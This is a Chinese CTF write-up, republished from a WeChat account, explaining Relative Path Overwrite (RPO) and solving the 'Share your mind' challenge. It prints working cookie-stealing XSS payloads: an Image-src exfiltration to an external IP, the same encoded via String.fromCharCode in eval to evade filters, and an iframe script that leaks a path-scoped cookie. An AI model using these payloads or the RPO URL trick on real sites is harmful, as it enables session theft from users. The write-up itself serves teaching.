RPO分析+Share your mind分析

什么是RPO

RPO(Relative Path Overwrite)相对路径覆盖,主要就是利用服务端和客户端对url的处理的一些差异,来让客户端加载我们想让客户端加载的文件。而不是网站开发者想加载的文件。

利用的基础知识

源码

文件结构

rpo/

----yang/

--------index.php

--------a.js

----a.js

rpo/yang/index.php

hahahah

<script src="./a.js"></script>

rpo/yang/a.js

alert("i'm is yang/a.js");

rpo/a.js

alert("i'm is rpo/a.js");

服务端处理url中%2f和/的差异

apache

url及返回结果

http://127.0.0.1/rpo/yang/index.php #页面返回正常

http://127.0.0.1/rpo/yang%2findex.php #页面返回异常,显示Not Found

Nginx

url及返回结果

http://127.0.0.1/rpo/yang/index.php #页面返回正常

http://127.0.0.1/rpo/yang%2findex.php #页面返回正常

从测试结果可以知道,Apache和Nginx对于%2f的处理并不相同。

Apache不会将'%2f'作为'/'处理,所以执行的结果就是去rpo目录下寻找名为yang%2findex.php的文件,显然服务器并没有yang%2findex.php该文件,所以显示not found。

Nginx则不同,Nginx会将'%2f'作为'/'去处理,所以执行的结果显示的为正常页面。

客户端对%2f的处理

客户端为什么会有对%2f的处理呢?客户端不是运行在用户的电脑上的吗?怎么会牵扯到服务器的文件?

刚开始我也是困惑在这里。我们来看代码。

在index.php有这样的一段js代码

<script src="./a.js"></script>

这里使用的是相对路径来加载js代码。

浏览器在加载相对路径的依据是url中的最后一个'/',需要注意的是浏览器不会对%2f进行解码。也就是说浏览器不会将'%2f'当作'\'。

所以RPO实现的原理就是利用客户端和服务端对于%2f的处理方式不同。

简单复现

实验环境

- 服务端 Nginx

- 客户端 谷歌浏览器

- 源码 服务端的源码就是文章前面给出的代码

url为

http://127.0.0.1/rpo/yang/index.php

url为

http://127.0.0.1/rpo/yang%2findex.php

由图可知使用%2f和/加载的js文件并不相同。

Share your mind

在主页查看源码可以看到以下代码

我们可以看到这里使用了相对路径的引用,所以可能会存在RPO漏洞。

在网站的overview处可以查看在写过的内容。点开查看文章,查看文章页面的源代码,发现会自动给标题添加一个\<h1\>标签,文章内容没有做过任何处理。于是就可以在文章里写入js代码,在通过RPO来使浏览器执行我们写入的js代码。

查看文章的url

http://39.107.33.96:20000/index.php/view/article/2957

实现rpo的url

http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php

在理解怎么用RPO加载写入的文章的时候卡了比较久,因为后台代码是

<script src="../static/js/jquery.min.js"></script>

所以利用RPO加载的时候加载的不应该是2957/static/js/jquery.min.js的js文件内容吗?

这个js文件难道是用来存放我们写入的文章内容???

这个js文件难道是为了出题才这样设置的???

这听起来很作啊,出题师傅不会这样的吧。

这个确实不是这样的,这里使用的是pathinfo模式。

什么是pathinfo模式?

在网站得url中有这样一种url,文件后面还跟有'/'。这种/后面的内容pathinfo模式下会被当做参数。类似于

index.php?a=***。这是一种传参模式。

例如:

http://39.107.33.96:20000/index.php/view/article/2957

所以static/js/jquery.min.js在url中会被当做参数。

测试可知下面两个url的返回结果是一样的。

http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

http://39.107.33.96:20000/index.php/view/article/2957

在知道了这个知识点之后,我们再来分析payload就明白到底是怎么加载我们写的文章内容的了。

请求的url

http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php

客户端代码

<script src="../static/js/jquery.min.js"></script>

请求加载的url

http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

至此,整个RPO利用的流程就清晰了。

- 写文章时写入js代码

- 将RPO的url通过report提交到后台。

- 等待回显。

因为对引号过滤,所以使用String.fromCharCode(解ascii码)来绕过过滤。

打cookie的js代码

new Image().src="http://150.95.174.245:8888?a="+encodeURI(document.cookie);

最终写入文章内容

eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,49,53,48,46,57,53,46,49,55,52,46,50,52,53,58,56,56,56,56,63,97,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59));

收到回显

HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

找了一个可以读取目录下的cookie的js代码。

var ad = document.createElement("iframe");

ad.src = "QWB_fl4g/QWB/";

ad.id = "frame";

document.body.appendChild(ad);

ad.onload = function (){window.location.href="http://150.95.174.245:8888?a="+document.getElementById("frame").contentWindow.document.cookie;

}

提交后收到回显

结束!

RPO参考链接

http://blog.nsfocus.net/rpo-attack/

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-06-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Android开发实战

HTTP1.0、HTTP1.1和HTTP2.0的区别

早在HTTP建立之初,主要就是为了将超文本标记语言(HTML)文档从Web服务器传送到客户端的浏览器。也是说对于前端来说,我们所写的HTML页面将要放在我们的w...

22730
来自专栏java一日一条

9 个使用前必须再三小心的 Linux 命令

Linux Shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。

8910
来自专栏较真的前端

[译] 调试 RxJS 第2部分: 日志篇

19740
来自专栏魏艾斯博客www.vpsss.net

网站目录/绝对路径/相对路径-零基础搭建wordpress教程

网站基本知识包括很多方面,网站结构、网页路径、域名、服务器、建站等等,我们已经写过域名和新手如何选择服务器了,正好最近遇到群友对网站基本知识有些疑问,魏艾斯博客...

53410
来自专栏pangguoming

Git可视化教程——Git Gui的使用

在Git简介一文中已经对Git进行了简单的介绍,但是理论知识过于枯燥,加上本人专业知识不够扎实,使得初学者在Git的使用上还是会有很大的困难。虽然我更推荐使用G...

34030
来自专栏HansBug's Lab

win10下vagrant+centos7 rails虚拟开发机配置流程

此文写于2017.8.21 在写本文前,笔者已经尝试了多种其他的替代方法,例如wmware虚拟机安装kylin。然而发现总是还有各种问题。经大佬指点安装了vi...

31970
来自专栏耕耘实录

使用awk命令批量删除指定范围的账号

版权声明:本文为耕耘实录原创文章,各大自媒体平台同步更新。欢迎转载,转载请注明出处,谢谢

10530
来自专栏程序员宝库

打造一个属于自己的 server

什么是server 在开始打造自己的服务器之前,我们首先明确一下服务器的定义:一个管理资源并为用户提供服务的计算机软件。 根据功能服务器分为两类: static...

36290
来自专栏Flutter入门到实战

Flutter学习总结系列----第一章、Flutter基础全面详解

版权声明:本文为博主原创文章,未经博主允许不得转载。https://www.jianshu.com/p/2c9867e737a1

23820
来自专栏前端杂货铺

XSS分析及预防

XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。在WEB前端应用日益发展的今天,XSS漏洞尤其容...

37970

扫码关注云+社区

领取腾讯云代金券